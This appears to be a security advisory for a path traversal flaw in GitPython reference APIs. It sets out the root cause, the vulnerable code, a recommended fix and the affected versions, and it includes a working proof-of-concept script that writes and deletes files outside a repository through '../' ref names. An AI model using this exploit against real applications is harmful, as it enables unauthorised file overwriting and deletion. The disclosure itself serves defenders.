GHSA-7545-fcxq-7j24

Suggest an improvement
Source
https://github.com/advisories/GHSA-7545-fcxq-7j24
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7545-fcxq-7j24/GHSA-7545-fcxq-7j24.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-7545-fcxq-7j24
Aliases
Downstream
CGA (5)
ECHO (1)
MINI (1)
Published
2026-05-06T19:38:48Z
Modified
2026-07-17T21:09:03Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CVSS Calculator
  • 7.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions

  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code

def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept

Setup

pip install GitPython==3.1.46
python poc.py

Exploit

import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result

repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact

What can an attacker do?

  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact

  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?

  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix

Recommended Fix

def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
Database specific
{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T19:38:48Z",
    "nvd_published_at": "2026-05-07T19:16:02Z",
    "severity": "HIGH"
}
References

Affected packages

PyPI / gitpython

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.1.48

Affected versions

0.*
0.1.7
0.2.0-beta1
0.3.0-beta1
0.3.0-beta2
0.3.1-beta2
0.3.2.RC1
0.3.2
0.3.2.1
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
1.*
1.0.0
1.0.1
1.0.2
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9.dev0
2.0.9.dev1
2.0.9
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.9
2.1.10
2.1.11
2.1.12
2.1.13
2.1.14
2.1.15
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.1.10
3.1.11
3.1.12
3.1.13
3.1.14
3.1.15
3.1.16
3.1.17
3.1.18
3.1.19
3.1.20
3.1.22
3.1.23
3.1.24
3.1.25
3.1.26
3.1.27
3.1.28
3.1.29
3.1.30
3.1.31
3.1.32
3.1.33
3.1.34
3.1.35
3.1.36
3.1.37
3.1.38
3.1.40
3.1.41
3.1.42
3.1.43
3.1.44
3.1.45
3.1.46
3.1.47

Database specific

last_known_affected_version_range
"<= 3.1.47"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7545-fcxq-7j24/GHSA-7545-fcxq-7j24.json"